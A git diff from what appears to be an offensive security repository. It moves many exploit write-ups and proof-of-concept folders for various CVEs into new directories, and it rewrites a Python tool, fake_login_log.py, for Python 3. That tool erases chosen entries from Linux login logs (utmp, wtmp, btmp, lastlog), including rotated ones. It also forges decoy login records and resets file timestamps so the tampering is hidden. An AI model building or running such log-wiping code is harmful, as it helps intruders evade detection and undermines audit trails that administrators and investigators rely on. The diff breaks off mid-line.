RCE\344\270\211\346\230\237\350\267\257\347\224\261\345\231\250\350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" diff --git "a/\345\215\216\344\270\272WS331a\344\272\247\345\223\201\347\256\241\347\220\206\351\241\265\351\235\242\345\255\230\345\234\250CSRF\346\274\217\346\264\236.md" "b/iot/\345\215\216\344\270\272WS331a\344\272\247\345\223\201\347\256\241\347\220\206\351\241\265\351\235\242\345\255\230\345\234\250CSRF\346\274\217\346\264\236.md" similarity index 100% rename from "\345\215\216\344\270\272WS331a\344\272\247\345\223\201\347\256\241\347\220\206\351\241\265\351\235\242\345\255\230\345\234\250CSRF\346\274\217\346\264\236.md" rename to "iot/\345\215\216\344\270\272WS331a\344\272\247\345\223\201\347\256\241\347\220\206\351\241\265\351\235\242\345\255\230\345\234\250CSRF\346\274\217\346\264\236.md" diff --git "a/\345\244\251\347\277\274\345\210\233\347\273\264awifi\350\267\257\347\224\261\345\231\250\345\255\230\345\234\250\345\244\232\345\244\204\346\234\252\346\216\210\346\235\203\350\256\277\351\227\256\346\274\217\346\264\236.md" "b/iot/\345\244\251\347\277\274\345\210\233\347\273\264awifi\350\267\257\347\224\261\345\231\250\345\255\230\345\234\250\345\244\232\345\244\204\346\234\252\346\216\210\346\235\203\350\256\277\351\227\256\346\274\217\346\264\236.md" similarity index 100% rename from "\345\244\251\347\277\274\345\210\233\347\273\264awifi\350\267\257\347\224\261\345\231\250\345\255\230\345\234\250\345\244\232\345\244\204\346\234\252\346\216\210\346\235\203\350\256\277\351\227\256\346\274\217\346\264\236.md" rename to "iot/\345\244\251\347\277\274\345\210\233\347\273\264awifi\350\267\257\347\224\261\345\231\250\345\255\230\345\234\250\345\244\232\345\244\204\346\234\252\346\216\210\346\235\203\350\256\277\351\227\256\346\274\217\346\264\236.md" diff --git "a/CVE-2019-0708-msf\345\277\253\351\200\237\346\220\255\345\273\272.md" "b/pc/CVE-2019-0708-msf\345\277\253\351\200\237\346\220\255\345\273\272.md" similarity index 100% rename from "CVE-2019-0708-msf\345\277\253\351\200\237\346\220\255\345\273\272.md" rename to "pc/CVE-2019-0708-msf\345\277\253\351\200\237\346\220\255\345\273\272.md" diff --git "a/CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux\345\233\276\345\275\242\347\225\214\351\235\242X Server\346\234\254\345\234\260\346\240\210\346\272\242\345\207\272POC.md" "b/pc/CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux\345\233\276\345\275\242\347\225\214\351\235\242X Server\346\234\254\345\234\260\346\240\210\346\272\242\345\207\272POC.md" similarity index 100% rename from "CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux\345\233\276\345\275\242\347\225\214\351\235\242X Server\346\234\254\345\234\260\346\240\210\346\272\242\345\207\272POC.md" rename to "pc/CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux\345\233\276\345\275\242\347\225\214\351\235\242X Server\346\234\254\345\234\260\346\240\210\346\272\242\345\207\272POC.md" diff --git "a/CVE-2020-0796\346\243\200\346\265\213\344\270\216\344\277\256\345\244\215.md" "b/pc/CVE-2020-0796\346\243\200\346\265\213\344\270\216\344\277\256\345\244\215.md" similarity index 100% rename from "CVE-2020-0796\346\243\200\346\265\213\344\270\216\344\277\256\345\244\215.md" rename to "pc/CVE-2020-0796\346\243\200\346\265\213\344\270\216\344\277\256\345\244\215.md" diff --git a/CVE-2021-1675.md b/privesc/CVE-2021-1675.md similarity index 100% rename from CVE-2021-1675.md rename to privesc/CVE-2021-1675.md diff --git a/CVE-2021-22555.md b/privesc/CVE-2021-22555.md similarity index 100% rename from CVE-2021-22555.md rename to privesc/CVE-2021-22555.md diff --git "a/PAM\345\212\253\346\214\201SSH\345\257\206\347\240\201.md" "b/privesc/PAM\345\212\253\346\214\201SSH\345\257\206\347\240\201.md" similarity index 100% rename from "PAM\345\212\253\346\214\201SSH\345\257\206\347\240\201.md" rename to "privesc/PAM\345\212\253\346\214\201SSH\345\257\206\347\240\201.md" diff --git "a/adduser\346\267\273\345\212\240\347\224\250\346\210\267.md" "b/privesc/adduser\346\267\273\345\212\240\347\224\250\346\210\267.md" similarity index 100% rename from "adduser\346\267\273\345\212\240\347\224\250\346\210\267.md" rename to "privesc/adduser\346\267\273\345\212\240\347\224\250\346\210\267.md" diff --git "a/\344\275\277\347\224\250vbs\350\204\232\346\234\254\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\347\224\250\346\210\267.md" "b/privesc/\344\275\277\347\224\250vbs\350\204\232\346\234\254\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\347\224\250\346\210\267.md" similarity index 100% rename from "\344\275\277\347\224\250vbs\350\204\232\346\234\254\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\347\224\250\346\210\267.md" rename to "privesc/\344\275\277\347\224\250vbs\350\204\232\346\234\254\346\267\273\345\212\240\347\256\241\347\220\206\345\221\230\347\224\250\346\210\267.md" diff --git a/scripts/update_readme.py b/scripts/update_readme.py index 7e14f1130..ae97ce3af 100644 --- a/scripts/update_readme.py +++ b/scripts/update_readme.py @@ -18,7 +18,7 @@ WEB_KEYWORDS = [ 'rce', 'sql', 'xss', 'csrf', 'upload', 'injection', 'web', 'cms', '文件上传', '文件读取', 'sql注入', '信息泄露', '命令执行', - '目录遍历', '目录穿越', 'xxe', 'bypass', 'auth' + '目录遍历', '目录穿越', 'xxe', 'bypass', 'auth', '漏洞' ] START_MARKER_REGEX = r'id="head4">Web APP' diff --git a/tools/ssh/fake_login_log.py b/tools/ssh/fake_login_log.py index 44356d317..47ef7eff2 100644 --- a/tools/ssh/fake_login_log.py +++ b/tools/ssh/fake_login_log.py @@ -1,43 +1,51 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding:utf-8 -*- # author knpewg85942 -# link:https://www.freebuf.com/articles/system/141474.html -# blog:https://forreestx386.github.io/ +# link: https://www.freebuf.com/articles/system/141474.html +# blog: https://forreestx386.github.io/ +# +# Clean/add fake records in utmp/wtmp/btmp/lastlog login log files. +# Compatible with Python 2.7 and Python 3.x. + +from __future__ import print_function import os import sys +import glob import time import random import struct import argparse from pwd import getpwnam +PY2 = sys.version_info[0] == 2 + class GeneralError(Exception): pass class FakeLog(object): - def __init__(self, args): - self.type = args.type + def __init__(self, args, file_path=None, log_type=None): + self.type = log_type if log_type else args.type self.user = args.user self.host = args.host self.timestamp = args.timestamp - try: - self.date = str( - time.mktime(time.strptime( - args.date, - "%Y-%m-%d %H:%M:%S"))).split('.')[0] if args.date else None - except ValueError, e: - self.date = str( - time.mktime( - time.strptime(args.date + ':0', - "%Y-%m-%d %H:%M:%S"))).split('.')[0] - self.date_end = str( - time.mktime( - time.strptime(args.date + - ":59", "%Y-%m-%d %H:%M:%S"))).split( - '.')[0] if args.date else None + self.date = None + self.date_end = None + if args.date: + try: + ts = time.mktime( + time.strptime(args.date, "%Y-%m-%d %H:%M:%S")) + self.date = int(ts) + self.date_end = self.date + except ValueError: + ts_start = time.mktime( + time.strptime(args.date + ':0', "%Y-%m-%d %H:%M:%S")) + ts_end = time.mktime( + time.strptime(args.date + ':59', "%Y-%m-%d %H:%M:%S")) + self.date = int(ts_start) + self.date_end = int(ts_end) self.tty = args.tty self.pid = args.pid @@ -47,16 +55,32 @@ def __init__(self, args): 'btmp': '/var/log/btmp', 'lastlog': '/var/log/lastlog' } - self.FILE_PATH = self.FILE_DICT[self.type] + # Allow overriding file path (used for processing rotated logs) + if file_path: + self.FILE_PATH = file_path + else: + self.FILE_PATH = self.FILE_DICT[self.type] self.XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x' self.XTMP_STRUCT_SIZE = struct.calcsize(self.XTMP_STRUCT) self.LAST_STRUCT = 'I32s256s' self.LAST_STRUCT_SIZE = struct.calcsize(self.LAST_STRUCT) + @staticmethod + def _decode(val): + """Decode a struct.unpack bytes field to str, trimming trailing NULs; py2/py3 safe.""" + if PY2: + if isinstance(val, str): + return val.split('\0', 1)[0] + return str(val) + else: + if isinstance(val, bytes): + return val.split(b'\0', 1)[0].decode('utf-8', errors='replace') + return str(val) + def get_timestamp_by_user(self): """ - 根据用户名,从/var/log/wtmp中获取用户最后一次登录记录的时间戳 - :return: + Get the timestamp of the user's last login from /var/log/wtmp by username. + :return: int timestamp or None """ _result = [] with open(self.FILE_DICT['wtmp'], 'rb') as fd: @@ -65,137 +89,163 @@ def get_timestamp_by_user(self): if not record_bytes: break data = struct.unpack(self.XTMP_STRUCT, record_bytes) - record = [(lambda s: str(s).split("\0", 1)[0])(i) - for i in data] + record = [self._decode(i) for i in data] if record[4] == self.user: _result.append(record[-6]) return max(_result) if _result else None def delete_log(self): """ - 根据条件删除utmp | wtmp |btmp |lastlog 中的记录 + Delete matching records from utmp | wtmp | btmp | lastlog. :return: """ - to_remain = '' - _atime = os.stat(self.FILE_PATH).st_atime # 保存修改前的文件时间属性,以便修改后恢复 + _atime = os.stat(self.FILE_PATH).st_atime _mtime = os.stat(self.FILE_PATH).st_mtime + file_size = os.path.getsize(self.FILE_PATH) - if self.type.endswith('tmp'): # deal xtmp log + if self.type.endswith('tmp'): # xtmp log: utmp / wtmp / btmp + to_remain = bytearray() # bytearray is much faster than bytes concatenation + deleted = 0 + processed = 0 try: with open(self.FILE_PATH, 'rb') as fd: while True: record_bytes = fd.read(self.XTMP_STRUCT_SIZE) if not record_bytes: break + # Skip a trailing partial record to avoid struct errors + if len(record_bytes) < self.XTMP_STRUCT_SIZE: + to_remain.extend(record_bytes) + break + processed += 1 data = struct.unpack(self.XTMP_STRUCT, record_bytes) - record = [(lambda s: str(s).split("\0", 1)[0])(i) - for i in data] + record = [self._decode(i) for i in data] _user = record[4] _host = record[5] _date = record[9] - if self.user: - if self.user == _user: - if self.host: - if self.host == _host: - if self.date: - if self.date <= _date <= self.date_end: - continue - else: - to_remain += record_bytes - else: - continue - else: - to_remain += record_bytes - elif self.date: - if self.date <= _date <= self.date_end: - continue - else: - to_remain += record_bytes - else: - continue - else: - to_remain += record_bytes - elif self.host: - if self.host == _host: - if self.date: - if self.date <= _date <= self.date_end: - continue - else: - to_remain += record_bytes - else: - continue - else: - to_remain += record_bytes - else: - if self.date <= _date <= self.date_end: - continue - else: - to_remain += record_bytes - except IOError as e: - raise GeneralError('file error: {0}'.format(e.message)) - except Exception, e: - raise GeneralError('error occur: {0}'.format(e.message)) + keep = True + # Match logic + match_user = (self.user is None) or (_user == self.user) + match_host = (self.host is None) or (_host == self.host) + match_date = True + if self.date is not None: + match_date = (self.date <= _date <= self.date_end) + + if match_user and match_host and match_date: + # All conditions match: drop this record + keep = False + deleted += 1 + + if keep: + to_remain.extend(record_bytes) + + # Progress indicator for large files + if processed % 5000 == 0: + pos = fd.tell() + percent = pos * 100 // file_size if file_size > 0 else 0 + print(' Processed %d records, deleted %d, %d%%' % + (processed, deleted, percent), + end='\r', file=sys.stderr) + + except OSError as e: + raise GeneralError('file error: {0}'.format(str(e))) + except Exception as e: + raise GeneralError('error occur: {0}'.format(str(e))) else: with open(self.FILE_PATH, 'wb') as fd: fd.write(to_remain) - os.utime(self.FILE_PATH, - (_atime, _mtime)) # restore a file atime, mtime + os.utime(self.FILE_PATH, (_atime, _mtime)) + print(' Done: %d records total, deleted %d' % + (processed, deleted), file=sys.stderr) - else: # deal lastlog, 根据unix时间戳或用户名删除指定用户最后一次登录记录 + else: # lastlog: UID-indexed sparse file - seek-and-zero is much faster + deleted = 0 try: - with open(self.FILE_PATH, 'rb') as fd: - while True: + if self.user: + # If a user is given, seek directly to that UID's slot and zero it (instant) + try: + p = getpwnam(self.user) + except KeyError: + raise GeneralError('No such user: %s' % self.user) + + # Read the existing record to confirm it matches before clearing + with open(self.FILE_PATH, 'rb+') as fd: + fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid) record_bytes = fd.read(self.LAST_STRUCT_SIZE) - if not record_bytes: - break - data = struct.unpack(self.LAST_STRUCT, record_bytes) - record = [(lambda s: str(s).split("\0", 1)[0])(i) - for i in data] - _timestamp = record[0] - _host = record[2] - - if self.host: - if self.host == _host: - if self.date: - if self.date == _timestamp: - continue - else: - to_remain += record_bytes - else: - continue - else: - to_remain += record_bytes - elif self.date: - if self.date == _timestamp: - continue - else: - to_remain += record_bytes - else: - to_remain += record_bytes - except IOError as e: - raise GeneralError('file error: {0}'.format(e.message)) - except Exception, e: - raise GeneralError('error occur: {0}'.format(e.message)) + if len(record_bytes) == self.LAST_STRUCT_SIZE: + data = struct.unpack(self.LAST_STRUCT, record_bytes) + record = [self._decode(i) for i in data] + _timestamp = record[0] + _host = record[2] + + match_host = (self.host is None) or (_host == self.host) + match_date = True + if self.date is not None: + match_date = (self.date == _timestamp) + + if match_host and match_date: + # Zero out this entry + fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid) + fd.write(b'\x00' * self.LAST_STRUCT_SIZE) + deleted = 1 + else: + # No user specified - walk the entire file + to_remain = bytearray() + processed = 0 + with open(self.FILE_PATH, 'rb') as fd: + while True: + record_bytes = fd.read(self.LAST_STRUCT_SIZE) + if not record_bytes: + break + if len(record_bytes) < self.LAST_STRUCT_SIZE: + to_remain.extend(record_bytes) + break + processed += 1 + data = struct.unpack(self.LAST_STRUCT, record_bytes) + record = [self._decode(i) for i in data] + _timestamp = record[0] + _host = record[2] + + keep = True + match_host = (self.host is None) or (_host == self.host) + match_date = True + if self.date is not None: + match_date = (self.date == _timestamp) + + # All-zero slots are empty/invalid; keep them as-is + is_empty = (record_bytes == b'\x00' * self.LAST_STRUCT_SIZE) + if not is_empty and match_host and match_date: + keep = False + deleted += 1 + + if keep: + to_remain.extend(record_bytes) + + with open(self.FILE_PATH, 'wb') as fd: + fd.write(to_remain) + + except OSError as e: + raise GeneralError('file error: {0}'.format(str(e))) + except Exception as e: + raise GeneralError('error occur: {0}'.format(str(e))) else: - with open(self.FILE_PATH, 'wb') as fd: - fd.write(to_remain) - os.utime(self.FILE_PATH, - (_atime, _mtime)) # restore a file atime, mtime + os.utime(self.FILE_PATH, (_atime, _mtime)) + print(' lastlog done: deleted %d record(s)' % deleted, file=sys.stderr) def add_log(self): """ - 根据条件,增加额外混淆日志 + Add fake/decoy log records to utmp | wtmp | btmp | lastlog :return: """ to_add_xtmp = [ - 7, 13009, 'pts/4', 'ts/4', 'root', '10.1.100.10', 0, 0, 0, + 7, 13009, b'pts/4', b'ts/4', b'root', b'10.1.100.10', 0, 0, 0, 1500475658, 498851, 23331082, 0, 0, 0 ] to_add_btmp = [ - 6, 13732, 'ssh:notty', '', 'root', '10.1.100.1', 0, 0, 0, + 6, 13732, b'ssh:notty', b'', b'root', b'10.1.100.1', 0, 0, 0, 1500311234, 0, 23331082, 0, 0, 0 ] @@ -204,20 +254,27 @@ def add_log(self): _atime = os.stat(self.FILE_PATH).st_atime _mtime = os.stat(self.FILE_PATH).st_mtime + # Ensure string fields are bytes (py3) / str (py2) + def _b(s): + if isinstance(s, bytes): + return s + if PY2: + return s.encode('utf-8') if isinstance(s, unicode) else s + return s.encode('utf-8') + if self.FILE_PATH.endswith('utmp') or self.FILE_PATH.endswith('wtmp'): if self.user: - to_add_xtmp[4] = self.user + to_add_xtmp[4] = _b(self.user) if self.host: - to_add_xtmp[5] = self.host + to_add_xtmp[5] = _b(self.host) if self.tty: - to_add_xtmp[2] = self.tty - to_add_xtmp[3] = self.tty[1:] + to_add_xtmp[2] = _b(self.tty) + to_add_xtmp[3] = _b(self.tty[1:]) if self.pid: to_add_xtmp[1] = int(self.pid) if self.date: to_add_xtmp[-6] = int(self.date) + random.randint(1, 60) if self.timestamp: - # 修改用户退出登录的时间 to_add_xtmp[-6] = int(self.timestamp) record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_xtmp) @@ -228,17 +285,16 @@ def add_log(self): with open(self.FILE_PATH, 'wb') as fd: fd.write(_backup) - os.utime(self.FILE_PATH, - (_atime, _mtime)) # restore a file atime, mtime + os.utime(self.FILE_PATH, (_atime, _mtime)) elif self.FILE_PATH.endswith('btmp'): if self.user: - to_add_btmp[4] = self.user + to_add_btmp[4] = _b(self.user) if self.host: - to_add_btmp[5] = self.host + to_add_btmp[5] = _b(self.host) if self.tty: - to_add_btmp[2] = self.tty - to_add_btmp[3] = self.tty[1:] + to_add_btmp[2] = _b(self.tty) + to_add_btmp[3] = _b(self.tty[1:]) if self.pid: to_add_btmp[1] = int(self.pid) if self.date: @@ -252,46 +308,40 @@ def add_log(self): with open(self.FILE_PATH, 'wb') as fd: fd.write(_backup) - os.utime(self.FILE_PATH, - (_atime, _mtime)) # restore a file atime, mtime + os.utime(self.FILE_PATH, (_atime, _mtime)) else: - __host = '10.1.100.1' + __host = b'10.1.100.1' __date = 1500860089 - __tty = 'pts/8' + __tty = b'pts/8' if self.user: try: p = getpwnam(self.user) - except: + except KeyError: raise GeneralError('No such user.') if self.host: - __host = self.host + __host = _b(self.host) if self.date: __date = int(self.date) if self.timestamp: __date = int(self.timestamp) if self.tty: - __tty = self.tty + __tty = _b(self.tty) data = struct.pack(self.LAST_STRUCT, __date, __tty, __host) try: with open(self.FILE_PATH, 'wb') as fd: fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid) fd.write(data) - except Exception, e: - raise GeneralError('Cannot open file: {0}'.format( - e.message)) + except Exception as e: + raise GeneralError('Cannot open file: {0}'.format(str(e))) if __name__ == '__main__': - reload(sys) - - sys.setdefaultencoding('utf8') - usage = 'usage: fake_login_log.py --mode delete --type utmp --user root --host 10.1.100.1\n \ - fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date ' + fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date "2017-07-20 15:30"' parse = argparse.ArgumentParser(usage=usage) parse.add_argument('--mode', @@ -302,9 +352,17 @@ def add_log(self): parse.add_argument('--type', dest='type', type=str, - choices=['utmp', 'wtmp', 'btmp', 'lastlog'], + choices=['utmp', 'wtmp', 'btmp', 'lastlog', 'all'], required=True, - help='utmp |wtmp |btmp |lastlog') + help='utmp | wtmp | btmp | lastlog | all (all=clean all login log types)') + parse.add_argument('--include-rotated', + dest='include_rotated', + action='store_true', + help='Also process rotated log files (wtmp.1 / btmp.1 etc.)') + parse.add_argument('--file', + dest='file', + type=str, + help='Directly specify log file path (overrides default path for --type)') parse.add_argument('--user', dest='user', type=str, help='login username') parse.add_argument('--host', dest='host', type=str, help='login from host') parse.add_argument('--date', @@ -320,7 +378,7 @@ def add_log(self): type=str, default=random.randint(os.getpid() + 100, os.getpid() + 1000), - help='process id, for add only') + help='process id, for add only') parse.add_argument('--tty', dest='tty', type=str, help='for add only') argument = parse.parse_args() @@ -334,9 +392,77 @@ def add_log(self): 'you must choose at least user | host | date |timestamp as condition' ) + def _get_files_for_type(log_type): + """Return the main log file plus matching rotated files for the given type.""" + paths = [_dummy.FILE_DICT[log_type]] + if argument.include_rotated: + base = _dummy.FILE_DICT[log_type] + patterns = [ + base + '.[0-9]*', + base + '.old', + base + '-[0-9]*', + ] + for pat in patterns: + paths.extend(glob.glob(pat)) + # Filter out non-existent paths and compressed archives + valid = [] + for p in paths: + if os.path.exists(p) and os.path.isfile(p): + if p.endswith('.gz') or p.endswith('.bz2') or p.endswith('.xz'): + print('[!] Skipping compressed file %s (decompress manually first)' % p) + continue + valid.append(p) + return valid + if argument.mode == 'add': - print "add" - FakeLog(argument).add_log() + print("add") + if argument.file: + FakeLog(argument, file_path=argument.file).add_log() + elif argument.type == 'all': + raise GeneralError('add mode does not support type=all; specify a concrete --type') + else: + FakeLog(argument).add_log() else: - print "delete" - FakeLog(argument).delete_log() + # delete mode + # Dummy instance used only to access FILE_DICT constants + _dummy = object.__new__(FakeLog) + _dummy.FILE_DICT = { + 'utmp': '/var/run/utmp', + 'wtmp': '/var/log/wtmp', + 'btmp': '/var/log/btmp', + 'lastlog': '/var/log/lastlog' + } + + def _infer_type(fpath, default): + base = os.path.basename(fpath) + if 'lastlog' in base: + return 'lastlog' + if 'btmp' in base: + return 'btmp' + if 'utmp' in base: + return 'utmp' + if 'wtmp' in base: + return 'wtmp' + return default + + types_to_clean = ['utmp', 'wtmp', 'btmp', 'lastlog'] if argument.type == 'all' else [argument.type] + + total_processed = 0 + for t in types_to_clean: + if argument.file: + files = [argument.file] + else: + files = _get_files_for_type(t) + + for fpath in files: + try: + print('[*] Cleaning %s ...' % fpath) + real_type = _infer_type(fpath, t) + fl = FakeLog(argument, file_path=fpath, log_type=real_type) + fl.delete_log() + print('[+] %s cleaned' % fpath) + total_processed += 1 + except Exception as e: + print('[-] Failed to clean %s: %s' % (fpath, str(e))) + + print('\n[*] Finished: processed %d log file(s)' % total_processed) diff --git a/CVE-2018-6389/CVE-2018-6389.py b/vuln_pocs/cve/CVE-2018-6389/CVE-2018-6389.py similarity index 100% rename from CVE-2018-6389/CVE-2018-6389.py rename to vuln_pocs/cve/CVE-2018-6389/CVE-2018-6389.py diff --git a/CVE-2018-6389/README.md b/vuln_pocs/cve/CVE-2018-6389/README.md similarity index 100% rename from CVE-2018-6389/README.md rename to vuln_pocs/cve/CVE-2018-6389/README.md diff --git a/CVE-2019-0211-apache/README.md b/vuln_pocs/cve/CVE-2019-0211-apache/README.md similarity index 100% rename from CVE-2019-0211-apache/README.md rename to vuln_pocs/cve/CVE-2019-0211-apache/README.md diff --git a/CVE-2019-0211-apache/cfreal-carpediem.php b/vuln_pocs/cve/CVE-2019-0211-apache/cfreal-carpediem.php similarity index 100% rename from CVE-2019-0211-apache/cfreal-carpediem.php rename to vuln_pocs/cve/CVE-2019-0211-apache/cfreal-carpediem.php diff --git a/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md similarity index 100% rename from CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md diff --git a/CVE-2019-0803/CVE-2019-0803.png b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803.png similarity index 100% rename from CVE-2019-0803/CVE-2019-0803.png rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803.png diff --git a/CVE-2019-0803/CVE-2019-0803/README.md b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/README.md similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/README.md rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/README.md diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm b/vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm similarity index 100% rename from CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm rename to vuln_pocs/cve/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm diff --git a/CVE-2019-11043/CVE-2019-11043/1.png b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/1.png similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/1.png rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/1.png diff --git a/CVE-2019-11043/CVE-2019-11043/2.png b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/2.png similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/2.png rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/2.png diff --git a/CVE-2019-11043/CVE-2019-11043/README.md b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/README.md similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/README.md rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/README.md diff --git a/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/README.zh-cn.md rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md diff --git a/CVE-2019-11043/CVE-2019-11043/default.conf b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/default.conf similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/default.conf rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/default.conf diff --git a/CVE-2019-11043/CVE-2019-11043/docker-compose.yml b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/docker-compose.yml similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/docker-compose.yml rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/docker-compose.yml diff --git a/CVE-2019-11043/CVE-2019-11043/www/index.php b/vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/www/index.php similarity index 100% rename from CVE-2019-11043/CVE-2019-11043/www/index.php rename to vuln_pocs/cve/CVE-2019-11043/CVE-2019-11043/www/index.php diff --git a/CVE-2019-11043/phuip-fpizdam/README.md b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/README.md similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/README.md rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/README.md diff --git a/CVE-2019-11043/phuip-fpizdam/attack.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/attack.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/attack.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/attack.go diff --git a/CVE-2019-11043/phuip-fpizdam/consts.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/consts.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/consts.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/consts.go diff --git a/CVE-2019-11043/phuip-fpizdam/detect.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/detect.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/detect.go rename to vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/detect.go diff --git a/CVE-2019-11043/phuip-fpizdam/detect_methods.go b/vuln_pocs/cve/CVE-2019-11043/phuip-fpizdam/detect_methods.go similarity index 100% rename from CVE-2019-11043/phuip-fpizdam/detect_methods.go rename to 